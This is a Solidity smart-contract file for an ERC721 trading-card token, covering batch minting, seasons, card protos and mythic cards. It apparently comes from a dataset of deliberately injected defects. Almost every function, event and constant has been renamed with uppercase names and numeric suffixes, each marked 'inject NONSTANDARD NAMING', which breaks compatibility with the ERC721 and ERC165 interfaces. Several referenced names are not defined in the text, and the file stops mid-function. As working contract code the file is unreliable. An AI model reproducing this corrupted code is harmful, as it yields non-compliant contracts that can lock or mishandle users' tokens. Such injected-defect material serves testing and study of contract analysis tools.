// solium-disable security/no-inline-assembly
library StorageWrite {
using SafeMath for uint256;
function _GETSTORAGEARRAYSLOT595(uint _dest, uint _index) internal view returns (uint result) { //inject NONSTANDARD NAMING
uint slot = _GETARRAYSLOT364(_dest, _index);
assembly { result := sload(slot) }
}
function _GETARRAYSLOT364(uint _dest, uint _index) internal pure returns (uint slot) { //inject NONSTANDARD NAMING
assembly {
let free := mload(0x40)
mstore(free, _dest)
slot := add(keccak256(free, 32), _index)
}
}
function _SETARRAYSLOT66(uint _dest, uint _index, uint _value) internal { //inject NONSTANDARD NAMING
uint slot = _GETARRAYSLOT364(_dest, _index);
assembly { sstore(slot, _value) }
}
function _LOADSLOTS761( //inject NONSTANDARD NAMING
uint _slot,
uint _offset,
uint _perSlot,
uint _length
)
internal
view
returns (uint[] memory slots)
{
uint slotCount = _SLOTCOUNT226(_offset, _perSlot, _length);
slots = new uint[](slotCount);
// top and tail the slots
uint firstPos = _POS762(_offset, _perSlot); // _offset.div(_perSlot);
slots[0] = _GETSTORAGEARRAYSLOT595(_slot, firstPos);
if (slotCount > 1) {
uint lastPos = _POS762(_offset.ADD640(_length), _perSlot); // .div(_perSlot);
slots[slotCount-1] = _GETSTORAGEARRAYSLOT595(_slot, lastPos);
}
}
function _POS762(uint items, uint perPage) internal pure returns (uint) { //inject NONSTANDARD NAMING
return items / perPage;
}
function _SLOTCOUNT226(uint _offset, uint _perSlot, uint _length) internal pure returns (uint) { //inject NONSTANDARD NAMING
uint start = _offset / _perSlot;
uint end = (_offset + _length) / _perSlot;
return (end - start) + 1;
}
function _SAVESLOTS992(uint _slot, uint _offset, uint _size, uint[] memory _slots) internal { //inject NONSTANDARD NAMING
uint offset = _offset.DIV27((256/_size));
for (uint i = 0; i < _slots.length; i++) {
_SETARRAYSLOT66(_slot, offset + i, _slots[i]);
}
}
function _WRITE724(uint[] memory _slots, uint _offset, uint _size, uint _index, uint _value) internal pure { //inject NONSTANDARD NAMING
uint perSlot = 256 / _size;
uint initialOffset = _offset % perSlot;
uint slotPosition = (initialOffset + _index) / perSlot;
uint withinSlot = ((_index + _offset) % perSlot) * _size;
// evil bit shifting magic
for (uint q = 0; q < _size; q += 8) {
_slots[slotPosition] |= ((_value >> q) & 0xFF) << (withinSlot + q);
}
}
function REPEATUINT16794(uint _slot, uint _offset, uint _length, uint16 _item) internal { //inject NONSTANDARD NAMING
uint[] memory slots = _LOADSLOTS761(_slot, _offset, 16, _length);
for (uint i = 0; i < _length; i++) {
_WRITE724(slots, _offset, 16, i, _item);
}
_SAVESLOTS992(_slot, _offset, 16, slots);
}
function UINT16S436(uint _slot, uint _offset, uint16[] memory _items) internal { //inject NONSTANDARD NAMING
uint[] memory slots = _LOADSLOTS761(_slot, _offset, 16, _items.length);
for (uint i = 0; i < _items.length; i++) {
_WRITE724(slots, _offset, 16, i, _items[i]);
}
_SAVESLOTS992(_slot, _offset, 16, slots);
}
function UINT8S318(uint _slot, uint _offset, uint8[] memory _items) internal { //inject NONSTANDARD NAMING
uint[] memory slots = _LOADSLOTS761(_slot, _offset, 32, _items.length);
for (uint i = 0; i < _items.length; i++) {
_WRITE724(slots, _offset, 8, i, _items[i]);
}
_SAVESLOTS992(_slot, _offset, 8, slots);
}
}
contract ImmutableToken {
string public constant baseuri257 = "https://api.immutable.com/asset/"; //inject NONSTANDARD NAMING
function TOKENURI642(uint256 tokenId) external view returns (string memory) { //inject NONSTANDARD NAMING
return string(abi.encodePacked(
baseuri257,
String.FROMADDRESS777(address(this)),
"/",
String.FROMUINT947(tokenId)
));
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _MSGSENDER48() internal view returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA774() internal view returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC165 {
function SUPPORTSINTERFACE367(bytes4 interfaceId) external view returns (bool); //inject NONSTANDARD NAMING
}
contract ERC165 is IERC165 {
bytes4 private constant _interface_id_erc165383 = 0x01ffc9a7; //inject NONSTANDARD NAMING
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_REGISTERINTERFACE770(_interface_id_erc165383);
}
function SUPPORTSINTERFACE367(bytes4 interfaceId) external view returns (bool) { //inject NONSTANDARD NAMING
return _supportedInterfaces[interfaceId];
}
function _REGISTERINTERFACE770(bytes4 interfaceId) internal { //inject NONSTANDARD NAMING
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
contract IERC721Receiver {
function ONERC721RECEIVED640(address operator, address from, uint256 tokenId, bytes memory data) //inject NONSTANDARD NAMING
public returns (bytes4);
}
library Address {
function ISCONTRACT794(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function TOPAYABLE665(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING
return address(uint160(account));
}
function SENDVALUE550(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function CURRENT711(Counter storage counter) internal view returns (uint256) { //inject NONSTANDARD NAMING
return counter._value;
}
function INCREMENT113(Counter storage counter) internal { //inject NONSTANDARD NAMING
counter._value += 1;
}
function DECREMENT390(Counter storage counter) internal { //inject NONSTANDARD NAMING
counter._value = counter._value.SUB596(1);
}
}
contract Ownable is Context {
address private _owner;
event OWNERSHIPTRANSFERRED114(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
_owner = _MSGSENDER48();
emit OWNERSHIPTRANSFERRED114(address(0), _owner);
}
function OWNER177() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER453() { //inject NONSTANDARD NAMING
require(ISOWNER434(), "Ownable: caller is not the owner");
_;
}
function ISOWNER434() public view returns (bool) { //inject NONSTANDARD NAMING
return _MSGSENDER48() == _owner;
}
function RENOUNCEOWNERSHIP876() public ONLYOWNER453 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED114(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP194(address newOwner) public ONLYOWNER453 { //inject NONSTANDARD NAMING
_TRANSFEROWNERSHIP3(newOwner);
}
function _TRANSFEROWNERSHIP3(address newOwner) internal { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED114(_owner, newOwner);
_owner = newOwner;
}
}
contract IERC721 is IERC165 {
event TRANSFER336(address indexed from, address indexed to, uint256 indexed tokenId); //inject NONSTANDARD NAMING
event APPROVAL97(address indexed owner, address indexed approved, uint256 indexed tokenId); //inject NONSTANDARD NAMING
event APPROVALFORALL640(address indexed owner, address indexed operator, bool approved); //inject NONSTANDARD NAMING
function BALANCEOF188(address owner) public view returns (uint256 balance); //inject NONSTANDARD NAMING
function OWNEROF127(uint256 tokenId) public view returns (address owner); //inject NONSTANDARD NAMING
function SAFETRANSFERFROM19(address from, address to, uint256 tokenId) public; //inject NONSTANDARD NAMING
function TRANSFERFROM301(address from, address to, uint256 tokenId) public; //inject NONSTANDARD NAMING
function APPROVE921(address to, uint256 tokenId) public; //inject NONSTANDARD NAMING
function GETAPPROVED252(uint256 tokenId) public view returns (address operator); //inject NONSTANDARD NAMING
function SETAPPROVALFORALL542(address operator, bool _approved) public; //inject NONSTANDARD NAMING
function ISAPPROVEDFORALL999(address owner, address operator) public view returns (bool); //inject NONSTANDARD NAMING
function SAFETRANSFERFROM19(address from, address to, uint256 tokenId, bytes memory data) public; //inject NONSTANDARD NAMING
}
contract ERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _erc721_received341 = 0x150b7a02; //inject NONSTANDARD NAMING
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _interface_id_erc721248 = 0x80ac58cd; //inject NONSTANDARD NAMING
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_REGISTERINTERFACE770(_interface_id_erc721248);
}
function BALANCEOF188(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].CURRENT711();
}
function OWNEROF127(uint256 tokenId) public view returns (address) { //inject NONSTANDARD NAMING
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function APPROVE921(address to, uint256 tokenId) public { //inject NONSTANDARD NAMING
address owner = OWNEROF127(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_MSGSENDER48() == owner || ISAPPROVEDFORALL999(owner, _MSGSENDER48()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit APPROVAL97(owner, to, tokenId);
}
function GETAPPROVED252(uint256 tokenId) public view returns (address) { //inject NONSTANDARD NAMING
require(_EXISTS289(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function SETAPPROVALFORALL542(address to, bool approved) public { //inject NONSTANDARD NAMING
require(to != _MSGSENDER48(), "ERC721: approve to caller");
_operatorApprovals[_MSGSENDER48()][to] = approved;
emit APPROVALFORALL640(_MSGSENDER48(), to, approved);
}
function ISAPPROVEDFORALL999(address owner, address operator) public view returns (bool) { //inject NONSTANDARD NAMING
return _operatorApprovals[owner][operator];
}
function TRANSFERFROM301(address from, address to, uint256 tokenId) public { //inject NONSTANDARD NAMING
//solhint-disable-next-line max-line-length
require(_ISAPPROVEDOROWNER149(_MSGSENDER48(), tokenId), "ERC721: transfer caller is not owner nor approved");
_TRANSFERFROM539(from, to, tokenId);
}
function SAFETRANSFERFROM19(address from, address to, uint256 tokenId) public { //inject NONSTANDARD NAMING
SAFETRANSFERFROM19(from, to, tokenId, "");
}
function SAFETRANSFERFROM19(address from, address to, uint256 tokenId, bytes memory _data) public { //inject NONSTANDARD NAMING
require(_ISAPPROVEDOROWNER149(_MSGSENDER48(), tokenId), "ERC721: transfer caller is not owner nor approved");
_SAFETRANSFERFROM254(from, to, tokenId, _data);
}
function _SAFETRANSFERFROM254(address from, address to, uint256 tokenId, bytes memory _data) internal { //inject NONSTANDARD NAMING
_TRANSFERFROM539(from, to, tokenId);
require(_CHECKONERC721RECEIVED206(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _EXISTS289(uint256 tokenId) internal view returns (bool) { //inject NONSTANDARD NAMING
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _ISAPPROVEDOROWNER149(address spender, uint256 tokenId) internal view returns (bool) { //inject NONSTANDARD NAMING
require(_EXISTS289(tokenId), "ERC721: operator query for nonexistent token");
address owner = OWNEROF127(tokenId);
return (spender == owner || GETAPPROVED252(tokenId) == spender || ISAPPROVEDFORALL999(owner, spender));
}
function _SAFEMINT5(address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING
_SAFEMINT5(to, tokenId, "");
}
function _SAFEMINT5(address to, uint256 tokenId, bytes memory _data) internal { //inject NONSTANDARD NAMING
_MINT330(to, tokenId);
require(_CHECKONERC721RECEIVED206(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _MINT330(address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING
require(to != address(0), "ERC721: mint to the zero address");
require(!_EXISTS289(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].INCREMENT113();
emit TRANSFER336(address(0), to, tokenId);
}
function _BURN121(address owner, uint256 tokenId) internal { //inject NONSTANDARD NAMING
require(OWNEROF127(tokenId) == owner, "ERC721: burn of token that is not own");
_CLEARAPPROVAL340(tokenId);
_ownedTokensCount[owner].DECREMENT390();
_tokenOwner[tokenId] = address(0);
emit TRANSFER336(owner, address(0), tokenId);
}
function _BURN121(uint256 tokenId) internal { //inject NONSTANDARD NAMING
_BURN121(OWNEROF127(tokenId), tokenId);
}
function _TRANSFERFROM539(address from, address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING
require(OWNEROF127(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_CLEARAPPROVAL340(tokenId);
_ownedTokensCount[from].DECREMENT390();
_ownedTokensCount[to].INCREMENT113();
_tokenOwner[tokenId] = to;
emit TRANSFER336(from, to, tokenId);
}
function _CHECKONERC721RECEIVED206(address from, address to, uint256 tokenId, bytes memory _data) //inject NONSTANDARD NAMING
internal returns (bool)
{
if (!to.ISCONTRACT794()) {
return true;
}
bytes4 retval = IERC721Receiver(to).ONERC721RECEIVED640(_MSGSENDER48(), from, tokenId, _data);
return (retval == _erc721_received341);
}
function _CLEARAPPROVAL340(uint256 tokenId) private { //inject NONSTANDARD NAMING
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Metadata is IERC721 {
function NAME105() external view returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL26() external view returns (string memory); //inject NONSTANDARD NAMING
function TOKENURI642(uint256 tokenId) external view returns (string memory); //inject NONSTANDARD NAMING
}
contract MultiTransfer is IERC721 {
function TRANSFERBATCH764( //inject NONSTANDARD NAMING
address from,
address to,
uint256 start,
uint256 end
)
public
{
for (uint i = start; i < end; i++) {
TRANSFERFROM301(from, to, i);
}
}
function TRANSFERALLFROM512( //inject NONSTANDARD NAMING
address from,
address to,
uint256[] memory tokenIDs
)
public
{
for (uint i = 0; i < tokenIDs.length; i++) {
TRANSFERFROM301(from, to, tokenIDs[i]);
}
}
function SAFETRANSFERBATCH319( //inject NONSTANDARD NAMING
address from,
address to,
uint256 start,
uint256 end
)
public
{
for (uint i = start; i < end; i++) {
SAFETRANSFERFROM19(from, to, i);
}
}
function SAFETRANSFERALLFROM526( //inject NONSTANDARD NAMING
address from,
address to,
uint256[] memory tokenIDs
)
public
{
for (uint i = 0; i < tokenIDs.length; i++) {
SAFETRANSFERFROM19(from, to, tokenIDs[i]);
}
}
}
contract ICards is IERC721 {
struct Batch {
uint48 userID;
uint16 size;
}
function BATCHES528(uint index) public view returns (uint48 userID, uint16 size); //inject NONSTANDARD NAMING
function USERIDTOADDRESS44(uint48 id) public view returns (address); //inject NONSTANDARD NAMING
function GETDETAILS612( //inject NONSTANDARD NAMING
uint tokenId
)
public
view
returns (
uint16 proto,
uint8 quality
);
function SETQUALITY366( //inject NONSTANDARD NAMING
uint tokenId,
uint8 quality
) public;
function MINTCARDS596( //inject NONSTANDARD NAMING
address to,
uint16[] memory _protos,
uint8[] memory _qualities
)
public
returns (uint);
function MINTCARD737( //inject NONSTANDARD NAMING
address to,
uint16 _proto,
uint8 _quality
)
public
returns (uint);
function BURN6(uint tokenId) public; //inject NONSTANDARD NAMING
function BATCHSIZE292() //inject NONSTANDARD NAMING
public
view
returns (uint);
}
contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant _interface_id_erc721_metadata499 = 0x5b5e139f; //inject NONSTANDARD NAMING
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_REGISTERINTERFACE770(_interface_id_erc721_metadata499);
}
function NAME105() external view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL26() external view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function TOKENURI642(uint256 tokenId) external view returns (string memory) { //inject NONSTANDARD NAMING
require(_EXISTS289(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
function _SETTOKENURI974(uint256 tokenId, string memory uri) internal { //inject NONSTANDARD NAMING
require(_EXISTS289(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = uri;
}
function _BURN121(address owner, uint256 tokenId) internal { //inject NONSTANDARD NAMING
super._BURN121(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract BatchToken is ERC721Metadata {
using SafeMath for uint256;
struct Batch {
uint48 userID;
uint16 size;
}
mapping(uint48 => address) public userIDToAddress;
mapping(address => uint48) public addressToUserID;
uint256 public batchSize;
uint256 public nextBatch;
uint256 public tokenCount;
uint48[] internal ownerIDs;
uint48[] internal approvedIDs;
mapping(uint => Batch) public batches;
uint48 internal userCount = 1;
mapping(address => uint) internal _balances;
uint256 internal constant max_length549 = uint(2**256 - 1); //inject NONSTANDARD NAMING
constructor(
uint256 _batchSize,
string memory name,
string memory symbol
)
public
ERC721Metadata(name, symbol)
{
batchSize = _batchSize;
ownerIDs.length = max_length549;
approvedIDs.length = max_length549;
}
function _GETUSERID7(address to) //inject NONSTANDARD NAMING
internal
returns (uint48)
{
if (to == address(0)) {
return 0;
}
uint48 uID = addressToUserID[to];
if (uID == 0) {
require(
userCount + 1 > userCount,
"BT: must not overflow"
);
uID = userCount++;
userIDToAddress[uID] = to;
addressToUserID[to] = uID;
}
return uID;
}
function _BATCHMINT199( //inject NONSTANDARD NAMING
address to,
uint16 size
)
internal
returns (uint)
{
require(
to != address(0),
"BT: must not be null"
);
require(
size > 0 && size <= batchSize,
"BT: size must be within limits"
);
uint256 start = nextBatch;
uint48 uID = _GETUSERID7(to);
batches[start] = Batch({
userID: uID,
size: size
});
uint256 end = start.ADD640(size);
for (uint256 i = start; i < end; i++) {
emit TRANSFER336(address(0), to, i);
}
nextBatch = nextBatch.ADD640(batchSize);
_balances[to] = _balances[to].ADD640(size);
tokenCount = tokenCount.ADD640(size);
return start;
}
function GETBATCHSTART864(uint256 tokenId) public view returns (uint) { //inject NONSTANDARD NAMING
return tokenId.DIV27(batchSize).MUL119(batchSize);
}
function GETBATCH853(uint256 index) public view returns (uint48 userID, uint16 size) { //inject NONSTANDARD NAMING
return (batches[index].userID, batches[index].size);
}
// Overridden ERC721 functions
// @OZ: please stop making variables/functions private
function OWNEROF127(uint256 tokenId) //inject NONSTANDARD NAMING
public
view
returns (address)
{
uint48 uID = ownerIDs[tokenId];
if (uID == 0) {
uint256 start = GETBATCHSTART864(tokenId);
Batch memory b = batches[start];
require(
start + b.size > tokenId,
"BT: token does not exist"
);
uID = b.userID;
require(
uID != 0,
"BT: bad batch owner"
);
}
return userIDToAddress[uID];
}
function _TRANSFERFROM539( //inject NONSTANDARD NAMING
address from,
address to,
uint256 tokenId
)
internal
{
require(
OWNEROF127(tokenId) == from,
"BT: transfer of token that is not own"
);
require(
to != address(0),
"BT: transfer to the zero address"
);
require(
_ISAPPROVEDOROWNER149(msg.sender, tokenId),
"BT: caller is not owner nor approved"
);
_CANCELAPPROVAL409(tokenId);
_balances[from] = _balances[from].SUB596(1);
_balances[to] = _balances[to].ADD640(1);
ownerIDs[tokenId] = _GETUSERID7(to);
emit TRANSFER336(from, to, tokenId);
}
function _BURN121(uint256 tokenId) internal { //inject NONSTANDARD NAMING
require(
_ISAPPROVEDOROWNER149(msg.sender, tokenId),
"BT: caller is not owner nor approved"
);
_CANCELAPPROVAL409(tokenId);
address owner = OWNEROF127(tokenId);
_balances[owner] = _balances[owner].SUB596(1);
ownerIDs[tokenId] = 0;
tokenCount = tokenCount.SUB596(1);
emit TRANSFER336(owner, address(0), tokenId);
}
function _CANCELAPPROVAL409(uint256 tokenId) internal { //inject NONSTANDARD NAMING
if (approvedIDs[tokenId] != 0) {
approvedIDs[tokenId] = 0;
}
}
function APPROVE921(address to, uint256 tokenId) public { //inject NONSTANDARD NAMING
address owner = OWNEROF127(tokenId);
require(
to != owner,
"BT: approval to current owner"
);
require(
msg.sender == owner || ISAPPROVEDFORALL999(owner, msg.sender),
"BT: approve caller is not owner nor approved for all"
);
approvedIDs[tokenId] = _GETUSERID7(to);
emit APPROVAL97(owner, to, tokenId);
}
function _EXISTS289(uint256 tokenId) //inject NONSTANDARD NAMING
internal
view
returns (bool)
{
return OWNEROF127(tokenId) != address(0);
}
function GETAPPROVED252(uint256 tokenId) //inject NONSTANDARD NAMING
public
view
returns (address)
{
require(
_EXISTS289(tokenId),
"BT: approved query for nonexistent token"
);
return userIDToAddress[approvedIDs[tokenId]];
}
function TOTALSUPPLY762() //inject NONSTANDARD NAMING
public
view
returns (uint)
{
return tokenCount;
}
function BALANCEOF188(address _owner) //inject NONSTANDARD NAMING
public
view
returns (uint256)
{
return _balances[_owner];
}
}
// solium-disable security/no-inline-assembly
contract NewCards is Ownable, MultiTransfer, BatchToken, InscribableToken {
uint16 private constant max_uint16315 = 2**16 - 1; //inject NONSTANDARD NAMING
uint16[] internal cardProtos;
uint8[] internal cardQualities;
struct Season {
uint16 high;
uint16 low;
}
struct Proto {
bool locked;
bool exists;
uint8 god;
uint8 cardType;
uint8 rarity;
uint8 mana;
uint8 attack;
uint8 health;
uint8 tribe;
}
event PROTOUPDATED864( //inject NONSTANDARD NAMING
uint16 indexed id
);
event SEASONSTARTED899( //inject NONSTANDARD NAMING
uint16 indexed id,
string name,
uint16 indexed low,
uint16 indexed high
);
event QUALITYCHANGED816( //inject NONSTANDARD NAMING
uint256 indexed tokenId,
uint8 quality,
address factory
);
event CARDSMINTED263( //inject NONSTANDARD NAMING
uint256 indexed start,
address to,
uint16[] protos,
uint8[] qualities
);
// Value of index proto = season
uint16[] public protoToSeason;
address public propertyManager;
// Array containing all protos
Proto[] public protos;
// Array containing all seasons
Season[] public seasons;
// Map whether a season is tradeable or not
mapping(uint256 => bool) public seasonTradable;
// Map whether a factory has been authorised or not
mapping(address => mapping(uint256 => bool)) public factoryApproved;
// Whether a factory is approved to create a particular mythic
mapping(uint16 => mapping(address => bool)) public mythicApproved;
// Whether a mythic is tradable
mapping(uint16 => bool) public mythicTradable;
// Map whether a mythic exists or not
mapping(uint16 => bool) public mythicCreated;
uint16 public constant mythic_threshold683 = 65000; //inject NONSTANDARD NAMING
constructor(
uint256 _batchSize,
string memory _name,
string memory _symbol
)
public
BatchToken(_batchSize, _name, _symbol)
{
cardProtos.length = max_length549;
cardQualities.length = max_length549;
protoToSeason.length = max_length549;
protos.length = max_length549;
propertyManager = msg.sender;
}
function GETDETAILS612( //inject NONSTANDARD NAMING
uint256 tokenId
)
public
view
returns (uint16 proto, uint8 quality)
{
return (cardProtos[tokenId], cardQualities[tokenId]);
}
function MINTCARD737( //inject NONSTANDARD NAMING
address to,
uint16 _proto,
uint8 _quality
)
public
returns (uint id)
{
id = _BATCHMINT199(to, 1);
_VALIDATEPROTO247(_proto);
cardProtos[id] = _proto;
cardQualities[id] = _quality;
uint16[] memory ps = new uint16[](1);
ps[0] = _proto;
uint8[] memory qs = new uint8[](1);
qs[0] = _quality;
emit CARDSMINTED263(id, to, ps, qs);
return id;
}
function MINTCARDS596( //inject NONSTANDARD NAMING
address to,
uint16[] memory _protos,
uint8[] memory _qualities
)
public
returns (uint)
{
require(
_protos.length > 0,
"Core: must be some protos"
);
require(
_protos.length == _qualities.length,
"Core: must be the same number of protos/qualities"
);
uint256 start = _BATCHMINT199(to, uint16(_protos.length));
_VALIDATEANDSAVEDETAILS366(start, _protos, _qualities);
emit CARDSMINTED263(start, to, _protos, _qualities);
return start;
}
function ADDFACTORY224( //inject NONSTANDARD NAMING
address _factory,
uint256 _season
)
public
ONLYOWNER453
{
require(
seasons.length >= _season,
"Core: season must exist"
);
require(
_season > 0,
"Core: season must not be 0"
);
require(
!factoryApproved[_factory][_season],
"Core: this factory is already approved"
);
require(
!seasonTradable[_season],
"Core: season must not be tradable"
);
factoryApproved[_factory][_season] = true;
}
function APPROVEFORMYTHIC801( //inject NONSTANDARD NAMING
address _factory,
uint16 _mythic
)
public
ONLYOWNER453
{
require(
_mythic >= mythic_threshold683,
"not a mythic"
);
require(
!mythicApproved[_mythic][_factory],
"Core: this factory is already approved for this mythic"
);
mythicApproved[_mythic][_factory] = true;
}
function MAKEMYTHICTRADABLE762( //inject NONSTANDARD NAMING
uint16 _mythic
)
public
ONLYOWNER453
{
require(
_mythic >= mythic_threshold683,
"Core: not a mythic"
);
require(
!mythicTradable[_mythic],
"Core: must not be tradable already"
);
mythicTradable[_mythic] = true;
}
function UNLOCKTRADING32( //inject NONSTANDARD NAMING
uint256 _season
)
public
ONLYOWNER453
{
require(
_season > 0 && _season <= seasons.length,
"Core: must be a current season"
);
require(
!seasonTradable[_season],
"Core: season must not be tradable"
);
seasonTradable[_season] = true;
}
function _TRANSFERFROM539( //inject NONSTANDARD NAMING
address from,
address to,
uint256 tokenId
)
internal
{
require(
ISTRADABLE528(tokenId),
"Core: not yet tradable"
);
super._TRANSFERFROM539(from, to, tokenId);
}
function BURN6(uint256 _tokenId) public { //inject NONSTANDARD NAMING
require(
ISTRADABLE528(_tokenId),
"Core: not yet tradable"
);
super._BURN121(_tokenId);
}
function BURNALL763(uint256[] memory tokenIDs) public { //inject NONSTANDARD NAMING
for (uint256 i = 0; i < tokenIDs.length; i++) {
BURN6(tokenIDs[i]);
}
}
function ISTRADABLE528(uint256 _tokenId) public view returns (bool) { //inject NONSTANDARD NAMING
uint16 proto = cardProtos[_tokenId];
if (proto >= mythic_threshold683) {
return mythicTradable[proto];
}
return seasonTradable[protoToSeason[proto]];
}
function STARTSEASON259( //inject NONSTANDARD NAMING
string memory name,
uint16 low,
uint16 high
)
public
ONLYOWNER453
returns (uint)
{
require(
low > 0,
"Core: must not be zero proto"
);
require(
high > low,
"Core: must be a valid range"
);
require(
seasons.length == 0 || low > seasons[seasons.length - 1].high,
"Core: seasons cannot overlap"
);
require(
mythic_threshold683 > high,
"Core: cannot go into mythic territory"
);
// seasons start at 1
uint16 id = uint16(seasons.push(Season({ high: high, low: low })));
uint256 cp;
assembly { cp := protoToSeason_slot }
StorageWrite.REPEATUINT16794(cp, low, (high - low) + 1, id);
emit SEASONSTARTED899(id, name, low, high);
return id;
}
function UPDATEPROTOS359( //inject NONSTANDARD NAMING
uint16[] memory _ids,
uint8[] memory _gods,
uint8[] memory _cardTypes,
uint8[] memory _rarities,
uint8[] memory _manas,
uint8[] memory _attacks,
uint8[] memory _healths,
uint8[] memory _tribes
) public ONLYOWNER453 {
for (uint256 i = 0; i < _ids.length; i++) {
uint16 id = _ids[i];
require(
id > 0,
"Core: proto must not be zero"
);
Proto memory proto = protos[id];
require(
!proto.locked,
"Core: proto is locked"
);
protos[id] = Proto({
locked: false,
exists: true,
god: _gods[i],
cardType: _cardTypes[i],
rarity: _rarities[i],
mana: _manas[i],
attack: _attacks[i],
health: _healths[i],
tribe: _tribes[i]
});
emit PROTOUPDATED864(id);
}
}
function LOCKPROTOS122(uint16[] memory _ids) public ONLYOWNER453 { //inject NONSTANDARD NAMING
require(
_ids.length > 0,
"must lock some"
);
for (uint256 i = 0; i < _ids.length; i++) {
uint16 id = _ids[i];
require(
id > 0,
"proto must not be zero"
);
Proto storage proto = protos[id];
require(
!proto.locked,
"proto is locked"
);
require(
proto.exists,
"proto must exist"
);
proto.locked = true;
emit PROTOUPDATED864(id);
}
}
function _VALIDATEANDSAVEDETAILS366( //inject NONSTANDARD NAMING
uint256 start,
uint16[] memory _protos,
uint8[] memory _qualities
)
internal
{
_VALIDATEPROTOS731(_protos);
uint256 cp;
assembly { cp := cardProtos_slot }
StorageWrite.UINT16S436(cp, start, _protos);
uint256 cq;
assembly { cq := cardQualities_slot }
StorageWrite.UINT8S318(cq, start, _qualities);
}
function _VALIDATEPROTO247(uint16 proto) internal { //inject NONSTANDARD NAMING
if (proto >= mythic_threshold683) {
_CHECKCANCREATEMYTHIC255(proto);
} else {
uint256 season = protoToSeason[proto];
require(
season != 0,
"Core: must have season set"
);
require(
factoryApproved[msg.sender][season],
"Core: must be approved factory for this season"
);
}
}
function _VALIDATEPROTOS731(uint16[] memory _protos) internal { //inject NONSTANDARD NAMING
uint16 maxProto = 0;
uint16 minProto = max_uint16315;
for (uint256 i = 0; i < _protos.length; i++) {
uint16 proto = _protos[i];
if (proto >= mythic_threshold683) {
_CHECKCANCREATEMYTHIC255(proto);
} else {
if (proto > maxProto) {
maxProto = proto;
}
if (minProto > proto) {
minProto = proto;
}
}
}
if (maxProto != 0) {
uint256 season = protoToSeason[maxProto];
